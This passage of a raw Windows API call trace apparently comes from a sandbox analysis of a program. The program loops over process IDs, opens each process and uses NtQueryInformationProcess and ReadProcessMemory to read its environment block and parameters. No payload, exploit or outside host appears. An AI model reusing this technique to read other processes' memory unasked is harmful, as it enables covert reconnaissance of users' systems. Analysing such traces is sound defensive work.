_Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3512") returned 0x0 [0257.587] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3512") returned 4 [0257.588] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0257.588] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0257.619] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdb8) returned 0x464 [0257.619] GetLastError () returned 0x0 [0257.620] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0257.620] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x363018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0257.620] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0257.620] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x581d30, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0257.620] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5818f8, lpBuffer=0x670f7c2b0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0257.622] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0257.624] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0257.624] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x363020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0257.624] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5812e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0257.624] malloc (_Size=0x8a) returned 0x196ef0d5c80 [0257.624] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x58197a, lpBuffer=0x196ef0d5c80, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5c80*, lpNumberOfBytesRead=0x0) returned 1 [0257.625] free (_Block=0x196ef0d5c80) [0257.626] CloseHandle (hObject=0x464) returned 1 [0257.626] _ui64tow_s (in: _Value=0xdc8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3528") returned 0x0 [0257.631] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3528") returned 4 [0257.633] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0257.633] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0257.671] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdc8) returned 0x464 [0257.671] GetLastError () returned 0x0 [0257.671] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0257.671] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x255018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0257.672] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0257.672] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0257.672] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c18f8, lpBuffer=0x670f7c2b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0257.673] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0257.675] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0257.675] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x255020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0257.675] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0257.675] malloc (_Size=0x76) returned 0x196ef0d2120 [0257.675] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1966, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0257.676] free (_Block=0x196ef0d2120) [0257.676] CloseHandle (hObject=0x464) returned 1 [0257.677] _ui64tow_s (in: _Value=0xdd0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3536") returned 0x0 [0257.681] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3536") returned 4 [0257.683] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0257.683] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0257.699] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdd0) returned 0x464 [0257.699] GetLastError () returned 0x0 [0257.699] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0257.699] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3eb018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0257.700] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0257.700] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0257.700] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0257.701] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0257.702] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0257.702] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3eb020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0257.702] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0257.702] malloc (_Size=0x60) returned 0x196ef0d0450 [0257.702] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1950, lpBuffer=0x196ef0d0450, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0257.703] free (_Block=0x196ef0d0450) [0257.704] CloseHandle (hObject=0x464) returned 1 [0257.704] _ui64tow_s (in: _Value=0xde0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3552") returned 0x0 [0257.709] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3552") returned 4 [0257.710] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0257.710] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0257.746] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde0) returned 0x464 [0257.746] GetLastError () returned 0x0 [0257.747] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0257.747] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0257.747] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0257.747] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0257.747] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c18f8, lpBuffer=0x670f7c2b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0257.748] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0257.750] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0257.750] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0257.750] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0257.750] malloc (_Size=0x74) returned 0x196ef0d31b0 [0257.750] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c1964, lpBuffer=0x196ef0d31b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0257.751] free (_Block=0x196ef0d31b0) [0257.751] CloseHandle (hObject=0x464) returned 1 [0257.752] _ui64tow_s (in: _Value=0xde8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3560") returned 0x0 [0257.757] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3560") returned 4 [0257.759] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0257.759] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0257.793] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde8) returned 0x464 [0257.793] GetLastError () returned 0x0 [0257.793] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0257.793] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56f018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0257.794] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0257.794] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x221d10, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0257.794] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2218f8, lpBuffer=0x670f7c2b0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0257.795] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0257.797] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0257.797] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56f020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0257.798] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2212e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0257.798] malloc (_Size=0x80) returned 0x196ef101460 [0257.798] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x221970, lpBuffer=0x196ef101460, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef101460*, lpNumberOfBytesRead=0x0) returned 1 [0257.799] free (_Block=0x196ef101460) [0257.800] CloseHandle (hObject=0x464) returned 1 [0257.801] _ui64tow_s (in: _Value=0xdf8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3576") returned 0x0 [0257.811] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3576") returned 4 [0257.814] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0257.814] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0257.862] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdf8) returned 0x464 [0257.862] GetLastError () returned 0x0 [0257.863] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0257.863] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x359018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0257.863] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0257.863] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x531d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0257.864] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5318f8, lpBuffer=0x670f7c2b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0257.865] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0257.868] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0257.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x359020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0257.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5312e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0257.868] malloc (_Size=0x8c) returned 0x196ef0d56e0 [0257.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x53197c, lpBuffer=0x196ef0d56e0, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d56e0*, lpNumberOfBytesRead=0x0) returned 1 [0257.869] free (_Block=0x196ef0d56e0) [0257.871] CloseHandle (hObject=0x464) returned 1 [0257.872] _ui64tow_s (in: _Value=0xe00, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3584") returned 0x0 [0257.880] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3584") returned 4 [0257.883] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0257.883] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0257.931] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe00) returned 0x464 [0257.931] GetLastError () returned 0x0 [0257.932] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0257.932] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x212018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0257.933] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0257.933] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0257.933] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5918f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0257.935] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0257.937] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0257.937] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x212020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0257.937] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0257.938] malloc (_Size=0x72) returned 0x196ef0d31b0 [0257.938] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0257.939] free (_Block=0x196ef0d31b0) [0257.940] CloseHandle (hObject=0x464) returned 1 [0257.941] _ui64tow_s (in: _Value=0xe10, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3600") returned 0x0 [0257.951] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3600") returned 4 [0257.954] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0257.954] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0257.988] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe10) returned 0x464 [0257.988] GetLastError () returned 0x0 [0257.989] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0257.989] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x302018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0257.990] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0257.990] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x191cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0257.990] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1918f8, lpBuffer=0x670f7c2b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0257.992] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0258.324] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0258.324] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x302020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0258.324] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0258.324] malloc (_Size=0x64) returned 0x196ef0d03e0 [0258.324] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x191954, lpBuffer=0x196ef0d03e0, nSize=0x62, lpNumberOfBytesRead=0x0 